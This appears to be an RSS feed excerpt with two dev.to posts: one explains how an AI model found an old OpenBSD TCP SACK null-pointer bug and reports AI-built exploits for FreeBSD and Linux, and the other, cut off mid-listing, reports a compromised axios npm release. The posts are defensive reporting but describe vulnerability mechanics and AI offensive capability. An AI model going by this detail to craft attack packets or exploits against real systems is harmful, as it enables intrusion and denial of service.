      <link>https://dev.to/devcodehub99/an-ai-found-a-27-year-old-bug-in-openbsd-the-most-security-hardened-os-on-earth-5ff6</link>
      <guid>https://dev.to/devcodehub99/an-ai-found-a-27-year-old-bug-in-openbsd-the-most-security-hardened-os-on-earth-5ff6</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"If OpenBSD has a 27-year-old bug, what's hiding in your codebase?"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On &lt;strong&gt;April 7, 2026&lt;/strong&gt;, Anthropic announced something that made the entire security community stop scrolling.&lt;/p&gt;

&lt;p&gt;Their new model — &lt;strong&gt;Claude Mythos Preview&lt;/strong&gt; — had autonomously found a &lt;strong&gt;27-year-old vulnerability&lt;/strong&gt; sitting inside &lt;strong&gt;OpenBSD's TCP stack&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Not Linux. Not Windows. Not some legacy enterprise COBOL blob.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenBSD.&lt;/strong&gt; The operating system that has had only two confirmed remote holes in its default install &lt;em&gt;in its entire history&lt;/em&gt;. The OS that runs firewalls, SSH servers, and critical infrastructure for governments and enterprises worldwide. The OS where code review isn't a suggestion — it's a religion.&lt;/p&gt;

&lt;p&gt;That's where the bug lived. Since &lt;strong&gt;1998&lt;/strong&gt;. And no human, fuzzer, or static analyzer ever found it.&lt;/p&gt;

&lt;p&gt;Claude Mythos did. In a matter of hours. Autonomously. For under $50 in compute.&lt;/p&gt;

&lt;p&gt;Let's get into exactly what happened.&lt;/p&gt;




&lt;h2&gt;
  
  
  🐡 First: Why Does OpenBSD Even Matter?
&lt;/h2&gt;

&lt;p&gt;Quick context for developers who haven't touched BSD.&lt;/p&gt;

&lt;p&gt;OpenBSD is a free Unix-like operating system forked from NetBSD in 1995. Its entire identity is built around one thing: &lt;strong&gt;proactive security&lt;/strong&gt;. Not just "we patched it when someone reported it" — but "we audit everything before it ships and we assume the attacker is smarter than us."&lt;/p&gt;

&lt;p&gt;OpenBSD invented or popularized:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;pledge(2)&lt;/code&gt; and &lt;code&gt;unveil(2)&lt;/code&gt; — syscall and filesystem sandboxing built into every process&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pf&lt;/code&gt; — the packet filter now used inside macOS, pfSense, OPNsense, and FreeBSD&lt;/li&gt;
&lt;li&gt;OpenSSH — yes, &lt;em&gt;that&lt;/em&gt; OpenSSH, running on virtually every server on earth&lt;/li&gt;
&lt;li&gt;W^X (Write XOR Execute) memory protection — years before mainstream adoption&lt;/li&gt;
&lt;li&gt;Stack canaries, ASLR, and kernel relinking on every boot&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When OpenBSD says their default install has had two remote holes in its entire history, they mean it. This isn't marketing. It's a 30-year track record.&lt;/p&gt;

&lt;p&gt;So when an AI finds a remotely-exploitable bug that's been sitting there since 1998 — it matters.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔍 The Bug: TCP SACK Integer Overflow
&lt;/h2&gt;

&lt;p&gt;Here's the actual technical breakdown, straight from Anthropic's red team writeup.&lt;/p&gt;

&lt;h3&gt;
  
  
  Background: What is SACK?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;TCP's Selective Acknowledgment (SACK)&lt;/strong&gt; was proposed in RFC 2018 in October 1996. The problem it solved: if you send packets 1–20 and the receiver only gets 1–10 and 15–20, old TCP would make you resend &lt;em&gt;everything from 11 onward&lt;/em&gt;. SACK lets the receiver say "I got 15–20, just resend 11–14." Huge performance improvement. Every major TCP implementation added it.&lt;/p&gt;

&lt;p&gt;OpenBSD added SACK support in &lt;strong&gt;1998&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Two-Flaw Interaction
&lt;/h3&gt;

&lt;p&gt;The vulnerability requires two independent flaws to interact. Neither flaw alone causes a crash. Together, they do.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flaw 1: No lower-bound validation on SACK ranges.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;OpenBSD tracks SACK state as a &lt;strong&gt;singly linked list of "holes"&lt;/strong&gt; — byte ranges sent but not yet acknowledged. When a new SACK block arrives, the kernel walks this list shrinking or deleting holes, then appending a new hole at the tail if needed.&lt;/p&gt;

&lt;p&gt;The implementation correctly checked the &lt;em&gt;upper bound&lt;/em&gt; of incoming SACK ranges against the send window — but never validated the &lt;em&gt;lower bound&lt;/em&gt;. Under normal conditions, this doesn't matter. Real TCP peers never send pathological SACK blocks. But an attacker isn't a real peer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flaw 2: Reachable null pointer write.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If a single SACK block simultaneously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;deletes the &lt;em&gt;only&lt;/em&gt; hole in the list (triggering the delete path), AND&lt;/li&gt;
&lt;li&gt;triggers the append-a-new-hole path (because the new acknowledged range extends past what was previously known)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;...then the kernel tries to write to &lt;code&gt;p-&amp;gt;next&lt;/code&gt; — but &lt;code&gt;p&lt;/code&gt; is now &lt;code&gt;NULL&lt;/code&gt; because the walk just freed the only node.&lt;/p&gt;

&lt;p&gt;Under normal conditions, these two conditions are &lt;strong&gt;mutually exclusive&lt;/strong&gt;. You can't simultaneously satisfy "the SACK block's start is at or below the hole's start" AND "the SACK block's start is strictly above the highest previously acknowledged byte." One number can't be both.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The breakthrough: signed integer overflow.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;TCP sequence numbers are 32-bit integers that wrap around. OpenBSD compared them with the expression:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is correct when &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; are within 2³¹ of each other — which legitimate sequence numbers always are. But because Flaw 1 lets an attacker place the SACK block's start &lt;em&gt;anywhere&lt;/em&gt;, they can put it roughly &lt;strong&gt;2³¹ away&lt;/strong&gt; from the real window.&lt;/p&gt;

&lt;p&gt;At that distance, the subtraction overflows the sign bit &lt;em&gt;in both comparisons simultaneously&lt;/em&gt;. The kernel concludes the attacker's start is &lt;strong&gt;below the hole start&lt;/strong&gt; and &lt;strong&gt;above the highest acknowledged byte&lt;/strong&gt; at the same time.&lt;/p&gt;

&lt;p&gt;The impossible condition is now satisfied. The only hole gets deleted. The append path fires. The kernel writes through a null pointer. &lt;strong&gt;Machine crashes.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2 crafted packets → null pointer dereference → kernel panic → remote DoS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any OpenBSD host responding over TCP was vulnerable. Firewalls. SSH gateways. Web servers. VPN endpoints. All of them.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fix
&lt;/h3&gt;

&lt;p&gt;OpenBSD's official &lt;strong&gt;7.8 errata patch 025&lt;/strong&gt;, dated &lt;strong&gt;March 25, 2026&lt;/strong&gt;, fixed this by:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Adding a lower-bound check on &lt;code&gt;sack.start&lt;/code&gt; relative to &lt;code&gt;snd_una&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Guarding the append path with an explicit &lt;code&gt;p != NULL&lt;/code&gt; check&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Two lines. 27 years. Done.&lt;/p&gt;




&lt;h2&gt;
  
  
  🤖 How Mythos Found It
&lt;/h2&gt;

&lt;p&gt;This is where it gets genuinely fascinating.&lt;/p&gt;

&lt;p&gt;Anthropic's red team ran &lt;strong&gt;~1,000 scaffold runs&lt;/strong&gt; against OpenBSD's source code. Total cost: &lt;strong&gt;under $20,000&lt;/strong&gt;. The specific run that surfaced this bug: &lt;strong&gt;under $50&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The $50 figure is technically accurate but misleading — as Anthropic themselves note, you can't know in advance which run will succeed. The $20K total is the honest number.&lt;/p&gt;

&lt;p&gt;What's remarkable is &lt;em&gt;how&lt;/em&gt; Mythos found it. Every existing automated tool had missed this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SAST (static analysis)&lt;/strong&gt;: missed it — the logic requires understanding how two separate code paths interact under adversarial integer arithmetic&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fuzzers&lt;/strong&gt;: missed it — sending random packets won't naturally produce a value exactly 2³¹ away from the current send window&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code audits&lt;/strong&gt;: missed it — skilled humans reviewed this code for decades and saw two individually-benign conditions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mythos caught it by &lt;strong&gt;reasoning about code semantics&lt;/strong&gt; — understanding what the code &lt;em&gt;does&lt;/em&gt; under adversarial conditions, not just what it &lt;em&gt;looks like&lt;/em&gt;. That's a qualitatively different capability from what any previous automated tool has had.&lt;/p&gt;

&lt;p&gt;To put this in context:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"In CyberGym's directed vulnerability reproduction tests, Mythos Preview scored 83.1% versus Claude Opus 4.6's 66.6%. On Firefox 147 JavaScript engine testing, Mythos produced 181 full shell exploits. Opus 4.6 produced two."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's not an incremental improvement. That's a different tool category.&lt;/p&gt;




&lt;h2&gt;
  
  
  📦 The Bigger Picture: What Else Did It Find?
&lt;/h2&gt;

&lt;p&gt;The OpenBSD bug is the headline, but it's not the only finding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FFmpeg H.264 Codec — 16 years old&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A bug introduced in a &lt;strong&gt;2003 commit&lt;/strong&gt;, dormant until exposed by a &lt;strong&gt;2010 refactor&lt;/strong&gt;, survived there since. The slice number &lt;code&gt;65535&lt;/code&gt; collides exactly with a sentinel value, enabling out-of-bounds writes. Fuzzers ran against this code path &lt;strong&gt;5 million times&lt;/strong&gt; without triggering it. Mythos caught it by reasoning about what the sentinel means semantically.&lt;/p&gt;

&lt;p&gt;Fixed in &lt;strong&gt;FFmpeg 8.1 "Hoare"&lt;/strong&gt;, released March 16, 2026.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FreeBSD NFS Server — 17 years old (CVE-2026-4747)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This one is scarier. A stack buffer overflow in the NFS server's authentication request handler. Attacker-controlled data is copied into a 128-byte stack buffer, but the length check allows up to 400 bytes.&lt;/p&gt;

&lt;p&gt;Why did &lt;code&gt;fstack-protector&lt;/code&gt; miss it? Because the buffer was declared as &lt;code&gt;int32_t[32]&lt;/code&gt; — the compiler only inserts stack canaries for functions containing &lt;code&gt;char&lt;/code&gt; arrays.&lt;/p&gt;

&lt;p&gt;Mythos didn't just find it. It &lt;strong&gt;built a 20-gadget ROP chain split across six sequential NFS packets&lt;/strong&gt; to achieve &lt;strong&gt;unauthenticated remote root&lt;/strong&gt; — fully autonomously, no human involved after the initial prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linux kernel — multiple LPE chains&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Starting from a list of 100 CVEs from 2024–2025, Mythos filtered to 40 exploitable candidates and successfully wrote privilege escalation exploits for &lt;strong&gt;more than half&lt;/strong&gt;. These included KASLR bypasses, cross-cache heap reclamation, and credential structure overwrites. One chain — starting from a 1-bit adjacent physical page write primitive — cost under $1,000 to develop. Human experts said it would have taken weeks.&lt;/p&gt;




&lt;h2&gt;
  
  
  🌊 The Controversy: Project Glasswing and Restricted Access
&lt;/h2&gt;

&lt;p&gt;Anthropic isn't releasing Mythos to the public. At all.&lt;/p&gt;

&lt;p&gt;Instead, they launched &lt;strong&gt;Project Glasswing&lt;/strong&gt; — a coalition of 40+ organizations that get restricted access to use Mythos &lt;em&gt;defensively&lt;/em&gt;:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Founding partners include:&lt;/strong&gt; Amazon Web Services, Apple, Broadcom, Cisco, CrowdStrike, Google, JPMorgan Chase, the Linux Foundation, Microsoft, NVIDIA, and Palo Alto Networks.&lt;/p&gt;

&lt;p&gt;Anthropic is committing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;$100 million&lt;/strong&gt; in Mythos usage credits for defensive security work&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$2.5 million&lt;/strong&gt; to Alpha-Omega through OpenSSF (Linux Foundation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$1.5 million&lt;/strong&gt; to the Apache Software Foundation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The criticism from some corners: &lt;em&gt;"This is asymmetric. You've given 40 companies a weapon and told everyone else good luck."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The counterpoint: &lt;em&gt;"Bad actors don't wait for permission. They're already using whatever models they have. Glasswing at least gets defenders ahead of attackers."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The AISLE pushback is worth reading:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Researchers at AISLE tested Anthropic's showcase vulnerabilities on small, open-weights models. Their finding: a &lt;strong&gt;5.1 billion parameter open model&lt;/strong&gt; recovered the core analysis chain of the 27-year OpenBSD bug. A &lt;strong&gt;3.6B parameter model&lt;/strong&gt; at 11 cents per million tokens detected 8/8 of Anthropic's showcased vulnerabilities.&lt;/p&gt;

&lt;p&gt;Their conclusion: &lt;em&gt;"The moat in AI cybersecurity is the system, not the model."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In other words — Mythos may have announced a new era, but the capability isn't exclusive to Mythos.&lt;/p&gt;




&lt;h2&gt;
  
  
  📊 The Numbers That Should Keep You Up at Night
&lt;/h2&gt;

&lt;p&gt;From the &lt;strong&gt;CrowdStrike 2026 Global Threat Report&lt;/strong&gt;, cited in the Mythos coverage:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;2022&lt;/th&gt;
&lt;th&gt;2026&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Average time-to-exploit after disclosure&lt;/td&gt;
&lt;td&gt;30 days&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;5 days&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVEs exploited on/before disclosure day&lt;/td&gt;
&lt;td&gt;~5%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;32.1%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Average attacker breakout time&lt;/td&gt;
&lt;td&gt;~84 min&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;29 minutes&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fastest observed breakout&lt;/td&gt;
&lt;td&gt;hours&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;27 seconds&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;And on the defense side:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Median organizational patch window: &lt;strong&gt;~70 days&lt;/strong&gt; (unchanged since 2022)&lt;/li&gt;
&lt;li&gt;Organizations deploying critical patches within 30 days: dropped from &lt;strong&gt;45% → 30%&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Offense is accelerating. Defense isn't. That gap is what makes the Mythos announcement genuinely alarming — not the individual bugs, but the structural shift in who finds them, how fast, and at what cost.&lt;/p&gt;




&lt;h2&gt;
  
  
  🤔 What Should Developers Actually Do?
&lt;/h2&gt;

&lt;p&gt;Practically speaking, from this week's news:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you run OpenBSD:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apply the patch immediately if you haven't&lt;/span&gt;
syspatch
&lt;span class="c"&gt;# Verify patch 025 is applied&lt;/span&gt;
syspatch &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;If you use FFmpeg:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Update to 8.1+ immediately&lt;/span&gt;
&lt;span class="c"&gt;# Check your package manager or build system&lt;/span&gt;
ffmpeg &lt;span class="nt"&gt;-version&lt;/span&gt;  &lt;span class="c"&gt;# should show 8.1 or later&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;If you run FreeBSD with NFS:&lt;/strong&gt;&lt;br&gt;
The FreeBSD security advisory for CVE-2026-4747 is out — patch immediately. NFS exposed to untrusted networks is critical severity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For everyone:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shorten your patch cycles. The "patch in 70 days" culture is a liability.&lt;/li&gt;
&lt;li&gt;Enable auto-updates for critical infrastructure where possible.&lt;/li&gt;
&lt;li&gt;Treat CVE-tagged dependency updates as urgent, not scheduled maintenance.&lt;/li&gt;
&lt;li&gt;Start thinking about AI-assisted vulnerability scanning as part of your SDLC — because your adversaries already are.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  💬 The Bigger Question
&lt;/h2&gt;

&lt;p&gt;Here's what I keep coming back to:&lt;/p&gt;

&lt;p&gt;OpenBSD is arguably the most carefully audited open-source codebase in the world. Volunteer developers who &lt;em&gt;read every line&lt;/em&gt; before it ships. The project that rewrites code from scratch rather than accept anything with an unacceptable license. The OS whose entire identity is "we take security seriously when nobody else does."&lt;/p&gt;

&lt;p&gt;And there was a 27-year-old null pointer dereference in the TCP stack.&lt;/p&gt;

&lt;p&gt;Not because the OpenBSD team is bad at their jobs. Because the bug required reasoning about the &lt;em&gt;semantic interaction&lt;/em&gt; of two independent code conditions under adversarial integer arithmetic — a class of analysis that human reviewers are structurally bad at and fuzzers can't reach by brute force.&lt;/p&gt;

&lt;p&gt;That's the actual shift. Not "AI is better than humans at security." It's "AI reasons differently than humans and fuzzers about code correctness — and that difference surfaces bugs that both approaches systematically miss."&lt;/p&gt;

&lt;p&gt;The question isn't whether this changes security. It already has.&lt;/p&gt;

&lt;p&gt;The question is: who gets to use it.&lt;/p&gt;




&lt;h2&gt;
  
  
  📚 Sources &amp;amp; Further Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://red.anthropic.com/2026/mythos-preview/" rel="noopener noreferrer"&gt;Anthropic's Frontier Red Team blog post on Mythos&lt;/a&gt; — the full technical writeup&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.anthropic.com/glasswing" rel="noopener noreferrer"&gt;Project Glasswing announcement&lt;/a&gt; — the official coalition page&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier" rel="noopener noreferrer"&gt;AISLE: AI Cybersecurity After Mythos — The Jagged Frontier&lt;/a&gt; — the most important counterpoint&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.openbsd.org/errata78.html" rel="noopener noreferrer"&gt;OpenBSD 7.8 Errata — patch 025&lt;/a&gt; — the actual patch confirming the fix&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://venturebeat.com/security/mythos-detection-ceiling-security-teams-new-playbook" rel="noopener noreferrer"&gt;VentureBeat: Mythos and the New Detection Ceiling&lt;/a&gt; — operational implications for security teams&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;If this made you think differently about legacy codebases, about fuzzing's limits, or about what "security-hardened" actually means in 2026 — drop a ❤️ and share it. The security community needs to be having this conversation seriously, not just breathlessly.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;And maybe go check when you last updated your FFmpeg dependency.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>openbsd</category>
      <category>ai</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Wed, 01 Apr 2026 11:17:36 +0000</pubDate>
      <link>https://dev.to/devcodehub99/axios-was-compromised-on-npm-what-happened-how-it-works-and-what-you-must-do-right-now-1n1f</link>
      <guid>https://dev.to/devcodehub99/axios-was-compromised-on-npm-what-happened-how-it-works-and-what-you-must-do-right-now-1n1f</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — &lt;code&gt;axios@1.14.1&lt;/code&gt; and &lt;code&gt;axios@0.30.4&lt;/code&gt; were compromised on March 31, 2026. A hijacked maintainer account published malicious versions that silently install a Remote Access Trojan on macOS, Windows, and Linux — and self-destruct to avoid detection. If you ran &lt;code&gt;npm install&lt;/code&gt; in the last 24 hours, check your system NOW.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Package That Powers the Internet Just Got Weaponized
&lt;/h2&gt;

&lt;p&gt;axios has over &lt;strong&gt;100 million weekly downloads&lt;/strong&gt;. It's in nearly every JavaScript project on the planet — startups, enterprises, open source foundations, CI pipelines, and developer laptops. On the morning of March 31, 2026, two versions of it became weapons.&lt;/p&gt;

&lt;p&gt;This wasn't a theoretical supply chain vulnerability. It was a live, operational attack. A cross-platform Remote Access Trojan was delivered to real developer machines. And the most terrifying part? &lt;strong&gt;&lt;code&gt;npm audit&lt;/code&gt; shows nothing. &lt;code&gt;npm list&lt;/code&gt; reports a clean version number. The malware self-destructs after running.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This article walks you through exactly what happened, how the attack technically works, how to check if you're compromised, and what permanent changes you should make to your workflow.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Happened — The Attack Timeline
&lt;/h2&gt;

&lt;p&gt;The operation was pre-staged &lt;strong&gt;18 hours in advance&lt;/strong&gt;. This was not opportunistic. Every artifact was purpose-built.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp (UTC)&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mar 30 · 05:57&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;plain-crypto-js@4.2.0&lt;/code&gt; published — a clean decoy to establish publishing history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mar 30 · 23:59&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;plain-crypto-js@4.2.1&lt;/code&gt; published — the malicious payload added&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mar 31 · 00:21&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;axios@1.14.1&lt;/code&gt; published via hijacked &lt;code&gt;jasonsaayman&lt;/code&gt; account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mar 31 · 01:00&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;axios@0.30.4&lt;/code&gt; published — legacy 0.x branch also poisoned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mar 31 · ~03:15&lt;/td&gt;
&lt;td&gt;npm unpublishes both malicious versions. &lt;code&gt;latest&lt;/code&gt; reverts to &lt;code&gt;1.14.0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mar 31 · 03:25&lt;/td&gt;
&lt;td&gt;npm initiates security hold on &lt;code&gt;plain-crypto-js&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mar 31 · 04:26&lt;/td&gt;
&lt;td&gt;npm publishes security-holder stub &lt;code&gt;plain-crypto-js@0.0.1-security.0&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both poisoned releases were live for &lt;strong&gt;less than 3 hours&lt;/strong&gt;. But 3 hours is more than enough time with 100M weekly downloads.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 — Account Hijack: The Entry Point
&lt;/h2&gt;

&lt;p&gt;The attacker compromised the &lt;code&gt;jasonsaayman&lt;/code&gt; npm account — the &lt;strong&gt;primary maintainer&lt;/strong&gt; of axios. The account's registered email was changed to an attacker-controlled ProtonMail address: &lt;code&gt;ifstap@proton.me&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here's what makes this forensically detectable. Every legitimate axios 1.x release uses npm's &lt;strong&gt;OIDC Trusted Publisher&lt;/strong&gt; mechanism — cryptographically tied to a verified GitHub Actions workflow. The malicious &lt;code&gt;1.14.1&lt;/code&gt; breaks that pattern entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;axios@&lt;/span&gt;&lt;span class="mf"&gt;1.14&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;LEGITIMATE&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"_npmUser"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"GitHub Actions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"npm-oidc-no-reply@github.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"trustedPublisher"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"github"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"oidcConfigId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;axios@&lt;/span&gt;&lt;span class="mf"&gt;1.14&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;MALICIOUS&lt;/span&gt;&lt;span class="w"&gt;
